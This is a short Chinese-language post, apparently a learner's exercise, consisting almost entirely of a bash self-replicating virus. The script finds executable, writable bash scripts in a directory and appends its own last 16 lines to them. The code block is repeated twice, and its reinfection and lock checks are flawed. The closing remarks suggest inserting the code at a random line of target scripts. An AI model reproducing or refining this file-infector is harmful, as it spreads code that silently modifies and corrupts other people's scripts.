一个简单的自我复制脚本
#!/bin/bash
LockFile=/tmp/.vir.lock;SearchDir=/tmp/vir;ListFile=/tmp/.F2V_list.tmp
if [ -f $LockFile ] # 判断锁文件,这里就用了简单锁
then
echo "exit"
else
echo $$>$LockFile
fi
find $SearchDir -type f >$ListFile #从将目标目录中列出普通文件
while read OneFile;do
if [ -x $OneFile -a -w $OneFile ];then #不再感染已感染的脚本文件
echo $OneFile | grep "Er-12-iu-9s-v8-s4"
if [ $? -eq 0 ];then continue; fi
file $OneFile | grep "Bourne-Again shell" #判断是否为脚本
if [ $? -eq 0 ];then tail $0 -n 16 >>$OneFile ;fi #将最后16行添加到目标文件
fi;done < $ListFile
rm -f $LockFile
LockFile=/tmp/.vir.lock;SearchDir=/tmp/vir;ListFile=/tmp/.F2V_list.tmp
if [ -f $LockFile ] # 判断锁文件,这里就用了简单锁
then
echo "exit"
else
echo $$>$LockFile
fi
find $SearchDir -type f >$ListFile #从将目标目录中列出普通文件
while read OneFile;do
if [ -x $OneFile -a -w $OneFile ];then #不再感染已感染的脚本文件
echo $OneFile | grep "Er-12-iu-9s-v8-s4"
if [ $? -eq 0 ];then continue; fi
file $OneFile | grep "Bourne-Again shell" #判断是否为脚本
if [ $? -eq 0 ];then tail $0 -n 16 >>$OneFile ;fi #将最后16行添加到目标文件
fi;done < $ListFile
rm -f $LockFile
最近讲的一个小程序,回来自己模仿着写了个,发现基础命令的确不是很熟悉。
这里没有写成一段代码,如果写成那样就可以向目标脚本文件内随机一行插入了。